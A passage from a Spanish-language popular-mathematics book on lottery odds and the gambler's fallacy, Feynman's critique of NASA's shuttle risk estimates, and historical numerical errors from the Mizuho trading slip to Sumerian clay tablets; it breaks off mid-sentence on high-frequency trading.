Pero	seguro	que	nadie	ha	ganado	la	lotería	primitiva	con	varios	números
iguales…	excepto	Derek	Ladner,	que	en	2006	y	de	forma	accidental,	compró
su	 boleto	 de	 la	 lotería	 del	 Reino	 Unido	 dos	 veces.	 Ganaron	 otras	 tres
personas,	pero	en	lugar	de	obtener	una	cuarta	parte	del	bote	de	2,5	millones
de	libras,	se	llevó	dos	quintas	partes.	Reclamó	su	primera	quinta	parte	cuando
todavía	no	se	había	dado	cuenta	de	que	tenía	otro	boleto	ganador…	Y	Mary
Wollens,	quien	deliberadamente	había	comprado	dos	boletos	idénticos	de	una
lotería	canadiense	(también	en	2006)	y	se	llevó	a	casa	dos	terceras	partes	de
un	premio	de	24	millones	de	dólares	en	lugar	de	solo	la	mitad…	Y	el	marido
y	la	esposa	que	en	2014	compraron	cada	uno	de	ellos	su	boleto	habitual	de	la
lotería	del	Reino	Unido	sin	decírselo	al	otro	(acertaron	cinco	de	seis	números
y	el	complementario)…	Y	Kenneth	Stokes,	en	Massachusetts,	quien	jugó	con
sus	números	habituales	a	la	Lotería	Lucky	for	Life,	a	pesar	de	que	su	familia
le	había	comprado	un	boleto	anual.

Pero	si	quiere	incrementar	sus	probabilidades	de	ganar,	necesita	comprar
dos	 boletos	 diferentes.	 No	 es	 una	 decisión	 inteligente	 económicamente
hablando.	 En	 general,	 cada	 vez	 que	 compra	 un	 boleto	 de	 lotería	 está
perdiendo	dinero.	La	licencia	actual	concedida	por	la	Comisión	del	Juego	de
Gran	 Bretaña	 a	 Camelot	 UK	 Lotteries	 Limited	 estipula	 que	 el	 47,5%	 del
dinero	gastado	en	boletos	de	lotería	se	ha	de	devolver	en	forma	de	premios	(lo
normal	 es	 que	 los	 premios	 fluctúen	 semana	 a	 semana).	 Este	 es	 el	 retorno
esperado.	Por	cada	libra	que	se	gasta	un	jugador	en	un	boleto	de	lotería,	puede
esperar	recuperar	47,5	peniques	en	premios.

Pero	 la	 gente	 no	 juega	 porque	 espere	 recuperar	 esa	 cantidad.	 Gestionar
una	lotería	es	en	realidad	distribuir	los	premios	con	una	desviación	respecto	al
retorno	 esperado	 tan	 grande	 como	 sea	 viable.	 Podría	 presentar	 una	 oferta
competidora	por	una	licencia	de	la	 lotería	nacional	y	vender	más	barato	que
Camelot	al	recortar	drásticamente	los	costes	administrativos.	Mi	plan	es	que,
cuando	la	gente	comprase	un	boleto	de	2	libras,	la	persona	al	cargo	del	punto
de	 venta	 solo	 les	 diera	 los	 95	 peniques	 del	 retorno	 esperado	 allí	 y	 en	 ese
momento.	Eso	recorta	los	gastos	administrativos	y	ni	siquiera	me	tendría	que
molestar	en	extraer	los	números	dos	veces	por	semana.

Es	 un	 ejemplo	 ridículo	 y	 extremo,	 pero	 sirve	 para	 hacerse	 una	 idea:	 la
gente	no	quiere	su	retorno	esperado,	quieren	tener	la	oportunidad	de	obtener
más	que	lo	que	han	gastado.	De	acuerdo,	entonces	cada	tercer	cliente	obtiene
2,85	 libras	 y	 todos	 los	 demás	 no	 reciben	 nada.	O	 cada	 cuarto	 boleto	 recibe
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3,80	libras.	¿Cuándo	se	puede	decir	que	se	ha	desequilibrado	lo	suficiente	el
reparto	 de	 premios?	 ¿Deberían	 todos	 los	 centésimos	 clientes	 obtener	 95
libras?	Hay	 otros	 concursos,	 como	 los	 que	 consisten	 en	 rascar	 tarjetas,	 que
operan	según	este	sistema	de	premios	(y,	de	hecho,	 tienen	mayores	retornos
esperados),	pero	la	lotería	ha	decidido	desequilibrarnos	a	nosotros.

En	2015,	Camelot	hizo	que	fuese	más	difícil	ganar	la	lotería.	En	lugar	de
elegir	 seis	números	de	un	 total	de	 cuarenta	y	nueve,	 lo	 cambiaron	para	que
hubiese	 que	 elegir	 seis	 de	 cincuenta	 y	 nueve.	 En	 uno	 de	 mis	 ejemplos
favoritos	 de	 siempre	 de	 publicidad	 sesgada,	 lo	 vendían	 promocionando	 que
había	«más	números	para	elegir».	 ¡Ajá!	La	 realidad	es	que	ahora	había	más
números	 que	 un	 jugador	 no	 elegiría,	 recortando	 drásticamente	 sus
probabilidades	de	ganar.	Elegir	seis	números	de	cuarenta	y	nueve	tiene	unas
probabilidades	de	uno	entre	13.983.816	de	ganar	el	premio	máximo,	mientras
que	al	elegir	 seis	de	cincuenta	y	nueve,	 las	probabilidades	 son	de	uno	entre
45.057.474.	Si	añadimos	que	uno	de	los	premios	nuevos	y	más	bajos	era	un
boleto	gratis	para	el	siguiente	sorteo	(yo	lo	gané),	las	probabilidades	de	ganar
por	 boleto	 comprado	 eran	 de	 uno	 entre	 40.665.099.	 En	 esa	 época,	 dije	 que
había	más	probabilidades	de	que	un	ciudadano	del	Reino	Unido	escogido	al
azar	tuviera	como	padre	al	príncipe	Carlos.	Es	altamente	improbable.

A	 pesar	 de	 todo	 esto,	 diría	 que	 las	 nuevas	 probabilidades	 reducidas	 de
ganar	convertían	a	la	lotería	en	un	producto	mejor.	El	premio	medio	no	había
cambiado,	 simplemente	 habían	 decidido	 destinar	 mucho	 más	 a	 menos
personas.	 Los	 cambios	 en	 las	 reglas	 dieron	 como	 resultado	 más	 botes
acumulados,	 lo	 que	 hacía	 que	 hubiera	 premios	mucho	mayores,	 la	 clase	 de
premios	que	llaman	la	atención	de	los	medios	de	comunicación.	Y	la	gente	no
compra	 boletos	 de	 lotería	 por	 el	 premio	 promedio,	 están	 comprando	 el
derecho	 a	 soñar.	 Tener	 alguna	 probabilidad	 de	 ganar	 un	 premio	 que	 te
cambiaría	 la	 vida	 le	 permite	 a	 cualquiera	 soñar	 con	 esa	 versión	 de	 su
existencia.	Cuanta	más	publicidad	obtenga	una	lotería	y	cuanto	más	grandes
sean	 sus	 premios,	 mayores	 serán	 esos	 sueños.	 Lo	 que	 hace	 de	 ella,
lógicamente,	un	mejor	producto.

Cuestión	de	bolas

En	 internet,	 hay	 personas	 que	 intentan	 vender	 sus	 secretos	 para	 ganar	 la
lotería.	 Una	 gran	 parte	 de	 la	 pseudociencia	 sobre	 los	 sorteos	 de	 la	 lotería
intenta	hacerse	pasar	por	matemática	y	no	suele	ser	más	que	una	variación	de
la	 falacia	 del	 jugador.	 Esta	 falacia	 lógica	 consiste	 en	 que,	 si	 algún	 suceso
aleatorio	no	se	ha	producido	durante	un	tiempo,	entonces	«debe»	ocurrir.	Pero
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si,	 los	 sucesos	 son	 de	 verdad	 aleatorios	 e	 independientes,	 entonces	 su
resultado	 no	 puede	 ser	 más	 o	 menos	 probable	 basándose	 en	 lo	 que	 ha
sucedido	previamente.	Sin	embargo,	la	gente	les	sigue	la	pista	a	los	números
que	no	han	salido	recientemente	en	la	lotería	para	ver	cuáles	deben	aparecer.

Esto	alcanzó	su	punto	álgido	en	2005,	en	Italia,	cuando	al	número	53	no
se	le	veía	el	plumero	desde	hacía	mucho	tiempo.	La	lotería	 italiana	de	2005
era	algo	diferente	a	la	de	otros	países:	tenían	diez	sorteos	diferentes	(a	los	que
se	 les	 daba	 nombres	 de	 diferentes	 ciudades)	 en	 cada	 uno	 de	 los	 cuales	 los
participantes	escogían	cinco	números	de	noventa	posibles.	A	diferencia	de	lo
que	es	habitual,	los	jugadores	no	tenían	que	escoger	un	conjunto	completo	de
números.	 Podían	 optar	 por	 apostar	 porque	 saliera	 un	 único	 número	 en	 un
determinado	 sorteo.	 Y	 el	 número	 53	 no	 había	 salido	 en	 el	 sorteo	 Venecia
desde	hacía	dos	años.

Un	 montón	 de	 personas	 creyeron	 que	 la	 bola	 53	 tenía	 que	 salir.	 Se
gastaron	al	menos	3.500	millones	de	euros	en	boletos	con	el	número	53;	eso
son	 227	 euros	 por	 familia	 en	 Italia.	 La	 gente	 pedía	 prestado	 dinero	 para
apostar	por	el	53	aunque	seguía	sin	salir,	y	eso,	al	parecer,	hacía	que	cada	vez
estuviera	 más	 obligado	 a	 hacerlo.	 Los	 que	 tenían	 un	 sistema	 siguieron
subiendo	su	apuesta	semanalmente,	por	 lo	que,	cuando	por	fin	saliera	el	53,
recuperarían	todas	las	pérdidas	anteriores.	Los	jugadores	se	arruinaban	y,	en
el	 periodo	 previo	 a	 que	 finalmente	 saliera	 el	 53,	 el	 9	 de	 febrero	 de	 2005,
murieron	 cuatro	 personas	 (un	 suicidio	 solitario	 y	 otro	 que	 también	 se	 llevó
por	delante	la	vida	de	su	familia).

En	Italia	hay	incluso	un	buen	número	de	personas	que	creen,	como	si	se
tratase	de	algo	sagrado,	que	ningún	número	puede	estar	más	de	220	sorteos
sin	salir.	Lo	llaman	«máximo	retraso»	(o	más	bien,	el	ritardo	massimo)	y	se
basa	en	 los	escritos	de	principios	del	siglo	XX	de	Samaritani.	El	matemático
Adam	 Atkinson,	 junto	 a	 otros	 académicos	 italianos,	 fue	 capaz	 de	 hacer
ingeniería	 inversa	 de	 la	 fórmula	 Samaritani	 para	 demostrar	 que	 este	 había
descubierto	una	buena	estimación	de	cuál	 sería	 la	 tirada	más	 larga	esperada
entre	sorteos	de	cualquier	número	dado	(para	la	lotería	de	la	época).	De	algún
modo,	 este	 cálculo	 se	 fue	 transformando	 con	 el	 paso	 de	 las	 generaciones,
convirtiéndose	en	un	supuesto	límite	mágico	estricto	para	cualquier	lotería.

Otra	 cosa	 que	 ocurre	 es	 que	 la	 gente	 piensa	 erróneamente	 que	 los
resultados	 recientes	 tienen	menos	 probabilidades	 de	 volver	 a	 salir.	He	visto
consejos	en	internet	diciendo	cosas	como	«No	elija	números	que	han	ganado
el	gran	bote	con	anterioridad»	y	«Usar	una	combinación	que	nunca	ha	salido
hará	que	sus	posibilidades	sean	más	altas»,	y	no	son	más	que	chorradas.
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En	2009,	en	la	lotería	búlgara	salieron	los	mismos	números:	4,	15,	23,	24,
35	y	42	en	dos	sorteos	seguidos,	el	6	y	el	10	de	septiembre.	Salieron	en	un
orden	 diferente,	 pero,	 en	 una	 lotería,	 el	 orden	 no	 importa.	 Aunque	 parezca
increíble,	nadie	ganó	el	bote	 la	primera	vez	que	 salieron,	pero,	 a	 la	 semana
siguiente,	dieciocho	personas	optaron	por	esa	combinación	con	 la	esperanza
de	que	saldría	de	nuevo.	Las	autoridades	búlgaras	abrieron	una	investigación
para	 comprobar	 que	 no	 había	 pasado	 nada	 inapropiado,	 pero	 los
organizadores	de	la	lotería	dijeron	que	solo	había	sido	el	azar.	Y	tenían	razón.

La	 única	 estrategia	 legítima	matemática	 de	 la	 que	 disponemos	 es	 elegir
números	que	sea	menos	probable	que	hayan	sido	elegidos	por	otras	personas.
Los	humanos	no	somos	muy	creativos	a	la	hora	de	elegir	números.	El	23	de
marzo	de	2016,	los	números	ganadores	de	la	lotería	del	Reino	Unido	fueron	7,
14,	 21,	 35,	 41	 y	 42.	 Todos,	 menos	 uno,	 múltiplos	 de	 siete.	 Una	 increíble
cantidad	 de	 gente	 (4.082	 personas)	 acertó	 cinco	 números	 esa	 semana
(seguramente,	 los	 cinco	 múltiplos	 de	 siete;	 Camelot	 no	 publica	 los
resultados),	por	 lo	que	el	premio	en	metálico	 tuvo	que	ser	compartido	entre
unas	 ocho	 veces	más	 de	 personas	 de	 lo	 habitual:	 solo	 obtuvieron	 15	 libras
cada	 uno	 (¡menos	 que	 las	 25	 libras	 que	 recibió	 la	 gente	 que	 acertó	 tres
números!).	 Se	 cree	 que,	 en	 el	 Reino	 Unido,	 alrededor	 de	 unas	 diez	 mil
personas	 escogen	1,	 2,	 3,	 4,	 5	 y	 6	 cada	 semana.	Si	 alguna	vez	 salieran,	 los
ganadores	 no	 recibirían	 un	 gran	 premio.	 Ni	 siquiera	 tendrían	 una	 historia
divertida	que	contar.

Unos	buenos	consejos	son:	escoger	números	que	no	formen	parte	de	una
secuencia	 obvia,	 que	 no	 formen	 parte	 de	 alguna	 fecha	 (se	 suelen	 escoger
cumpleaños,	 aniversarios,	 etc.)	 y	 que	 no	 se	 ajusten	 a	 ninguna	 expectativa
equivocada	 de	 qué	 números	 «tienen»	 que	 salir.	 Así,	 si	 juega	 a	 la	 lotería
primitiva	semanalmente	durante	millones	de	años	(podría	esperar	ganarla	una
vez	cada	780.000	años),	en	 las	ocasiones	en	 las	que	gane,	 lo	más	seguro	es
que	 tendrá	 que	 compartirlo	 con	menos	 gente.	 Lamentablemente,	 no	 es	 una
estrategia	que	ayude	mucho	en	la	escala	temporal	que	dura	una	vida	humana.

Así	 que	 el	 mejor	 consejo	 es,	 si	 juega	 a	 la	 lotería	 primitiva,	 que
simplemente	 escoja	 los	 números	 que	 quiera.	 Creo	 que	 la	 única	 ventaja	 de
escoger	 números	 aleatorios	 con	 alta	 entropía	 es	 que	 parecen	 los	 números
ganadores	la	mayoría	de	las	semanas,	lo	que	ayuda	a	mantener	viva	la	ilusión
de	que	podemos	ganar.	Y,	al	final	del	día,	esa	ilusión	de	poder	ganar	es	lo	que
realmente	estamos	comprando.

Un	probable	resumen
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Mantengo	una	relación	difícil	con	 las	probabilidades.	No	existe	otra	área	de
las	 matemáticas	 en	 las	 que	 me	 sienta	 tan	 inseguro	 respecto	 a	 mis	 cálculos
como	 me	 ocurre	 cuando	 estoy	 averiguando	 las	 probabilidades	 de	 que	 algo
ocurra.	Incluso	aunque	se	trate	de	algo	cuyas	probabilidades	son	calculables,
como	 la	 probabilidad	 de	 tener	 una	 mano	 complicada	 jugando	 al	 póker,
siempre	me	preocupa	haberme	olvidado	de	tener	en	cuenta	determinado	caso
o	matiz.	Para	ser	sincero,	creo	que	sería	mucho	mejor	jugador	de	póker	si	me
olvidara	 de	mis	 cálculos	 y	me	 fijara	más	 en	 el	 resto	 de	 jugadores;	 podrían
estar	 sudando	 profusamente	 y	 no	me	 enteraría,	 ya	 que	 estoy	muy	 ocupado
intentando	calcular	cuántas	manos	distintas	pueden	salir.

Y	 la	 probabilidad	 es	 un	 área	 de	 las	matemáticas	 en	 la	 que	 la	 intuición,
además	de	fallarnos,	por	regla	general	se	equivoca.	Hemos	evolucionado	para
sacar	 conclusiones	 probabilísticas	 apresuradas	 que	 nos	 dan	 las	 mejores
probabilidades	 de	 supervivencia,	 no	 las	 que	 nos	 dan	 los	 resultados	 más
precisos.	 En	 mi	 versión	 imaginaria	 de	 dibujos	 animados	 de	 la	 evolución
humana,	los	falsos	positivos	de	suponer	que	hay	un	peligro	cuando	no	lo	hay
no	 suelen	 ser	 castigados	 con	 tanta	 severidad	 como	 cuando	 un	 humano
subestima	un	 riesgo	y	es	comido.	La	presión	de	 selección	no	 recae	sobre	 la
precisión.	 Equivocado	 y	 vivo	 es	 mejor,	 evolutivamente,	 que	 acertado	 y
muerto.

Pero	 nos	 debemos	 a	 nosotros	 mismos	 intentar	 calcular	 estas
probabilidades	lo	mejor	que	podamos.	Esto	es	a	lo	que	Richard	Feynman	se
tuvo	que	enfrentar	durante	la	investigación	del	desastre	del	transbordador.	Los
administradores	y	 la	gente	de	 las	altas	esferas	de	 la	NASA	decían	que	cada
lanzamiento	del	transbordador	solo	tenía	una	entre	100.000	probabilidades	de
que	se	produjera	un	desastre.	Pero,	para	Feynman,	eso	no	sonaba	bien.	Se	dio
cuenta	 de	 que	 eso	 significaría	 que	 podría	 producirse	 un	 lanzamiento	 de	 un
transbordador	 cada	 día	 durante	 trescientos	 años	 y	 se	 produciría	 un	 único
desastre.

Casi	 nada	 es	 tan	 seguro.	 En	 1986,	 el	 mismo	 año	 de	 la	 tragedia	 del
transbordador,	 se	 produjeron	 46.087	 muertes	 en	 las	 carreteras	 de	 Estados
Unidos,	 aunque	 los	 estadounidenses	 condujeron	 un	 total	 de
2.958.360.514.560	kilómetros	ese	año.	Lo	que	significa	que	un	viaje	de	unos
640	kilómetros	tuvo	una	probabilidad	de	una	entre	cien	mil	de	acabar	mal	(a
modo	 de	 comparación,	 en	 2015	 la	 cifra	 fue	 de	 1.419	 kilómetros).	 El	 del
transbordador	era	un	viaje	espacial	con	tecnología	punta,	lo	cual	implica	que
siempre	 será	 más	 peligroso	 que	 conducir	 640	 kilómetros	 en	 coche.	 Las
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probabilidades	 de	 una	 entre	 cien	 mil	 no	 eran	 un	 cálculo	 sensato	 de	 la
probabilidad.

Cuando	Feynman	les	preguntó	a	los	ingenieros	y	al	personal	que	trabajaba
con	 el	 transbordador	 espacial	 cuáles	 eran	 las	 probabilidades	 de	 que	 se
produjese	 un	 desastre	 en	 cualquier	 vuelo,	 dieron	 respuestas	 que	 iban	 desde
una	entre	cincuenta	a	una	entre	trescientos.	Eso	es	muy	diferente	a	lo	que	los
fabricantes	 (una	 entre	 diez	mil)	 y	 la	 dirección	 de	 la	NASA	 (una	 entre	 cien
mil)	pensaban.	En	retrospectiva,	ahora	sabemos	que,	de	los	135	vuelos	(antes
de	 que	 en	 2011	 se	 cerrase	 el	 programa	 del	 transbordador),	 dos	 de	 ellos
acabaron	mal.	Una	proporción	de	uno	entre	67,5.

Feynman	se	dio	cuenta	de	que	uno	entre	cien	mil	era	más	producto	de	la
ilusión	 o	 el	 deseo	 de	 la	 dirección	 que	 de	 un	 cálculo	meditado.	 Parecía	 que
pensaban	que	si	el	transbordador	iba	a	transportar	humanos,	necesitaba	ser	así
de	 seguro	para	que	 todo	 se	 construyera	de	 tal	 forma	que	 cumpliera	 con	ese
propósito.	 No	 solo	 se	 trata	 de	 cómo	 funcionan	 las	 probabilidades,	 sino	 de
cómo	pudieron	calcular	esas	probabilidades	tan	bajas.

El	 motor	 principal	 del	 transbordador	 espacial	 es	 una	 máquina	 extraordinaria.	 Tiene	 una
relación	empuje-peso	mayor	que	cualquier	motor	anterior.	Se	ha	desarrollado	en	el	límite	de,	o
incluso	más	allá,	de	 la	experiencia	previa	de	 la	 ingeniería.	Por	 lo	 tanto,	como	era	de	esperar,
han	aparecido	muchas	clases	diferentes	de	defectos	y	dificultades

Es	 cierto	 que,	 si	 las	 probabilidades	 de	 fracaso	 eran	 tan	 bajas	 como	 1	 entre	 100.000,	 se
habría	necesitado	un	número	desorbitado	de	pruebas	para	determinarlas	(no	habrían	tenido	nada
más	 que	 una	 sucesión	 de	 vuelos	 perfectos	 de	 la	 que	 no	 se	 puede	 sacar	 ninguna	 conclusión
precisa,	solo	que	las	probabilidades	son	probablemente	menores	que	el	número	de	vuelos	de	las
pruebas).

Apéndice	F:	Observaciones	personales	sobre
la	fiabilidad	de	la	lanzadera	por	R.	P.	Feynman,

Informe	para	el	Presidente,	realizado	por	la
COMISIÓN	PRESIDENCIAL	sobre	el	accidente
del	transbordador	Challenger,	6	de	junio	de	1986.

Lejos	de	haber	conseguido	una	serie	de	pruebas	exitosas,	la	NASA	estuvo
observando	señales	de	posibles	fallos	durante	los	test.	También	se	produjeron
algunos	fallos	no	críticos	durante	lanzamientos	reales	que	no	causaron	ningún
problema	en	el	vuelo	mismo,	pero	sí	que	demostraron	que	las	probabilidades
de	 que	 las	 cosas	 pudieran	 no	 salir	 bien	 eran	más	 altas	 de	 lo	 que	 la	NASA
quería	 admitir.	 Habían	 calculado	 sus	 probabilidades	 basándose	 en	 lo	 que
querían	 y	 no	 en	 lo	 que	 estaba	 ocurriendo	 realmente.	 Pero	 los	 ingenieros
habían	utilizado	las	evidencias	de	las	pruebas	para	intentar	calcular	cuál	era	el
riesgo	real,	y	estaban	cerca	de	lo	correcto.

Página	145



Cuando	 los	 seres	 humanos	 nos	 esforzamos	 realmente	 en	 ello	 y	 no
permitimos	 que	 nuestro	 juicio	 se	 nuble	 por	 lo	 que	 la	 gente	 quiere	 creer,
podemos	 llegar	 a	 ser	 muy	 buenos	 en	 el	 tema	 de	 las	 probabilidades.	 Si
queremos…
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Ocho

INVERSIONES	Y	ERRORES
¿Qué	 cuenta	 como	 error	 en	 las	 finanzas?	 Por	 supuesto,	 hay	 casos	 obvios,
cuando	 simplemente	 se	 equivocan	 con	 los	 números.	 El	 8	 de	 diciembre	 de
2005,	la	empresa	de	servicios	de	inversión	japonesa	Mizuho	Securities	envió
una	orden	a	la	bolsa	de	Tokio	para	vender	una	sola	acción	de	la	compañía	J-
COM	 Co.	 Ltd.	 por	 610.000	 yenes	 (alrededor	 de	 4.300	 euros	 de	 la	 época).
Bien,	pensaron	que	estaban	vendiendo	una	acción	por	610.000	yenes,	pero	la
persona	que	tecleó	la	orden	intercambió	accidentalmente	los	números	y	envió
una	orden	de	venta	de	610.000	acciones	por	1	yen	cada	una.

Intentaron	 cancelarla	 a	 toda	 prisa,	 pero	 la	 bolsa	 de	 Tokio	 fue	 reticente.
Otras	 empresas	 estaban	 comprando	 las	 acciones	 rebajadas	 y	 cuando	 la
transacción	se	suspendió	al	día	siguiente,	Mizuho	Securities	había	perdido	27
mil	millones	de	yenes	(algo	más	de	190	millones	de	euros	de	la	época).	Fue
descrito	como	el	error	«de	los	dedos	gordos».	Yo	hubiera	optado	por	algo	más
del	estilo	de	«dedos	distraídos»	o	«dedos	que	deberían	aprender	a	comprobar
dos	veces	todos	los	datos	importantes	que	teclean,	pero	es	probable	que	aun
así	los	hayan	despedido».

Las	secuelas	del	error	fueron	de	largo	alcance:	creció	la	desconfianza	en
toda	 la	 bolsa	 de	 Tokio	 y	 el	 índice	 Nikkei	 cayó	 un	 1,95%	 en	 un	 solo	 día.
Algunas,	aunque	no	todas,	las	empresas	que	compraron	las	acciones	rebajadas
se	ofrecieron	a	devolverlas.	Una	resolución	posterior	del	Tribunal	del	Distrito
de	Tokio	culpó	en	parte	a	la	bolsa	porque	su	sistema	no	permitió	que	Mizuho
cancelase	 la	 orden	 errónea.	Esto	 solo	 sirve	para	 confirmar	mi	 teoría	 de	 que
todo	es	mucho	mejor	si	hay	una	tecla	de	«cancelar».

Este	es	el	equivalente	numérico	de	una	errata.	Ese	 tipo	de	errores	es	 tan
antiguo	como	la	civilización.	Me	gustaría	decir	felizmente	que	el	auge	de	la
civilización	 se	produjo	gracias	 al	dominio	de	 las	matemáticas:	 a	menos	que
seas	capaz	de	 realizar	correctamente	un	montón	de	cálculos	matemáticos,	 la
logística	 necesaria	 para	 que	 los	 humanos	 vivan	 juntos	 a	 una	 escala	 de	 una
ciudad	es	imposible.	Y,	desde	que	los	humanos	hacen	matemáticas,	estas	han
venido	 acompañadas	 de	 errores	 numéricos.	 El	 texto	 académico	 Archaic
Bookkeeping	 fue	fruto	de	un	proyecto	de	 la	Universidad	Libre	de	Berlín.	Es
un	 análisis	 de	 los	 primeros	 textos	 escritos	 jamás	 descubiertos:	 los	 textos
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protocuneiformes	compuestos	por	símbolos	rayados	en	tablas	de	arcilla.	Aún
no	 era	 un	 lenguaje	 completamente	 formado,	 sino	 más	 bien	 un	 sistema
elaborado	para	llevar	una	contabilidad.	Lleno	de	errores.

Estas	tablas	de	arcilla	proceden	de	la	ciudad	sumeria	de	Uruk	(al	sur	del
actual	Irak)	y	su	origen	data	de	entre	3400	y	3000	a.	e.	c.,	es	decir,	hace	unos
cinco	mil	años.	Parece	ser	que	los	sumerios	no	desarrollaron	la	escritura	para
comunicar	 prosa,	 sino	 más	 bien	 para	 llevar	 un	 registro	 de	 los	 niveles	 de
existencias.	 Es	 un	 ejemplo	 muy	 temprano	 de	 las	 matemáticas	 haciendo
posible	que	el	cerebro	humano	haga	algo	más	aparte	de	aquello	para	 lo	que
estaba	construido.	En	un	pequeño	grupo	de	humanos	puedes	llevar	un	registro
de	quién	posee	qué	en	tu	cabeza	y	realizar	intercambios	básicos.	Pero,	cuando
tienes	 una	 ciudad,	 con	 todos	 los	 impuestos	 y	 propiedades	 compartidos	 que
requiere,	necesitas	una	forma	de	mantener	registros	externos.	Y	los	registros
escritos	ofrecen	confianza	entre	dos	personas	que	tal	vez	no	se	conozcan	entre
ellas.	(Irónicamente,	la	escritura	en	línea	está	eliminando	esa	confianza	entre
las	personas,	pero	no	nos	adelantemos.)

Algunos	de	los	documentos	antiguos	de	Sumeria	estaban	escritos	por	una
persona	 que	 al	 parecer	 se	 llamaba	 Kushim	 y	 estaban	 firmados	 por	 su
supervisor,	 Nisa.	 Algunos	 historiadores	 creen	 que	 Kushim	 es	 el	 primer
humano	cuyo	nombre	conocemos.	Parece	que	el	primer	humano	cuyo	nombre
se	ha	transmitido	a	lo	largo	de	milenos	de	historia	no	fue	un	gobernante,	un
guerrero	 o	 un	 cura…	 sino	 un	 contable.	 Las	 dieciocho	 tablas	 de	 arcilla	 que
están	 firmadas	 por	Kushim	 dan	 a	 entender	 que	 su	 trabajo	 era	 controlar	 los
niveles	de	las	existencias	en	un	almacén	en	el	que	se	guardaban	los	materiales
para	elaborar	cerveza.	A	ver,	eso	se	sigue	haciendo;	un	amigo	mío	gestiona
una	fábrica	de	cerveza	y	con	eso	se	gana	la	vida.	(Por	cierto,	se	llama	Rick,
por	 si	 acaso	 este	 libro	 es	 uno	 de	 los	 pocos	 objetos	 que	 sobreviven	 al
apocalipsis	y	él	se	convierte	en	el	nuevo	humano	citado	más	antiguo.)

Kushim	 y	 Nisa	 son	 especiales	 para	 mí,	 no	 porque	 sean	 las	 primeras
personas	 cuyos	nombres	han	 sobrevivido,	 sino	porque	 cometieron	 el	 primer
error	matemático	de	 la	historia,	o	al	menos	el	primero	que	ha	perdurado	 (al
menos,	 es	 el	más	 antiguo	 que	 he	 encontrado;	 háganme	 saber	 si	 encuentran
alguno	 anterior).	 Al	 igual	 que	 un	 agente	 de	 bolsa	 de	 Tokio	 tecleó
incorrectamente	 unos	 números	 en	 un	 ordenador,	 Kushim	 grabó	 algunos
números	cuneiformes	incorrectos	en	una	tabla	de	arcilla.

Gracias	a	las	tablas	podemos	averiguar	un	esbozo	de	las	matemáticas	que
se	utilizaban	 tanto	 tiempo	atrás.	Para	empezar,	una	parte	de	 los	 registros	de
cebada	 cubren	 un	 periodo	 de	 administración	 de	 treinta	 y	 siete	 meses,	 que
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equivalen	 a	 tres	 años	 de	 doces	meses	más	 un	mes	 añadido.	Esto	 demuestra
que	los	sumerios	podrían	estar	utilizando	un	calendario	lunar	de	doce	meses
con	un	mes	bisiesto	colocado	una	vez	cada	 tres	años.	Además,	no	 tenían	un
sistema	de	base	numérica	 fija	 para	 los	 números,	 sino,	más	bien,	 un	 sistema
continuo	 que	 utilizaba	 símbolos	 que	 eran	 tres,	 cinco,	 seis	 o	 diez	 veces	más
grandes	que	los	demás.

Solo	tiene	que	recordar	esto;	un	punto	grande	vale	lo	mismo	que	diez	puntos	pequeños.	Y	todo	lo
demás.

Una	 vez	 que	 ya	 nos	 sabemos	 mover	 dentro	 de	 ese	 sistema	 numérico
extraño,	 los	errores	 son	 tan	comunes	que	podrían	haber	 sido	cometidos	hoy
mismo.	En	una	tabla,	Kushim	simplemente	se	olvida	de	incluir	tres	símbolos
cuando	suma	una	cantidad	total	de	cebada.	Otro	error	es	porque	cuando	tenía
que	utilizar	el	símbolo	de	diez	unidades	utiliza	el	de	una.	Diría	que	yo	mismo
he	cometido	errores	de	ese	 tipo	cuando	pongo	al	día	mi	contabilidad.	Como
especie,	somos	bastante	buenos	con	las	matemáticas,	pero	no	hemos	mejorado
durante	 los	últimos	milenios.	Estoy	seguro	de	que	si	pudiéramos	comprobar
cómo	 harán	 matemáticas	 los	 humanos	 dentro	 de	 cinco	 mil	 años,	 seguirán
cometiendo	los	mismos	errores.	Y	seguramente	seguirán	teniendo	cerveza.

A	 veces,	 cuando	 me	 bebo	 una	 cerveza,	 me	 gusta	 recordar	 a	 Kushim
trabajando	en	el	almacén	de	cerveza	con	Nisa	supervisándole.	Lo	que	ellos,	y
otros	como	ellos,	estaban	haciendo	condujo	a	 la	escritura	y	 las	matemáticas
modernas.	No	tenían	ni	idea	de	lo	importante	que	acabaron	siendo,	tanto	ellos
como	 la	 cerveza,	 para	 el	 desarrollo	 de	 la	 civilización	 humana.	Como	ya	 he
dicho,	 vivir	 en	 ciudades	 fue	 una	 de	 las	 causas	 que	 provocaron	 que	 los
humanos	 tuvieran	 que	 depender	 de	 las	matemáticas.	 Pero	 ¿qué	 faceta	 de	 la
vida	en	la	ciudad	es	recordada	en	nuestros	documentos	matemáticos	que	han
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sobrevivido	 más	 tiempo?	 La	 fabricación	 de	 cerveza.	 Gracias	 a	 ella
disponemos	 de	 algunos	 de	 los	 primeros	 cálculos	 realizados	 por	 los	 seres
humanos.	 Y	 la	 cerveza	 continúa	 ayudándonos	 a	 cometer	 errores	 en	 la
actualidad.

Tanto	Nisa	como	Kushim	han	cometido	un	error	matemático	en	esta	tabla.

Errores	monetarios	informatizados

Nuestros	 sistemas	 financieros	modernos	 son	controlados	desde	ordenadores,
lo	 que	 permite	 a	 los	 seres	 humanos	 cometer	 errores	 financieros	 con	 más
eficiencia	 y	 rapidez	 que	 nunca.	 A	 medida	 que	 los	 ordenadores	 se	 han	 ido
desarrollando	han	dado	lugar	a	las	transacciones	bursátiles	de	alta	velocidad,
en	los	que	un	único	cliente	con	una	bolsa	de	valores	puede	colocar	cien	mil
órdenes	 por	 segundo.	 Por	 supuesto,	 ningún	 ser	 humano	 puede	 tomar
decisiones	 a	 esa	 velocidad,	 son	 fruto	 de	 algoritmos	 de	 transacción	 de	 alta
frecuencia	 en	 los	 que	 los	 operadores	 introducen	 unos	 requerimientos	 en	 los
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programas	 informáticos	 que	 han	 diseñado	 para	 que	 decidan	 de	 forma
automática	exactamente	cuándo	y	cómo	comprar	y	vender.

Tradicionalmente,	 los	 mercados	 financieros	 han	 sido	 una	 forma	 de
combinar	 ideas	 y	 conocimientos	 de	 miles	 de	 personas	 diferentes	 que
comercian	 simultáneamente;	 los	 precios	 son	 el	 resultado	 acumulativo	 del
trabajo	 de	 todas	 esas	 mentes.	 Si	 cualquier	 producto	 financiero	 empieza	 a
desviarse	 de	 su	 valor	 real,	 los	 operadores	 intentarán	 explotar	 esa	 ligera
diferencia,	 y	 esto	 dará	 como	 resultado	 una	 fuerza	 que	 impulsa	 los	 precios
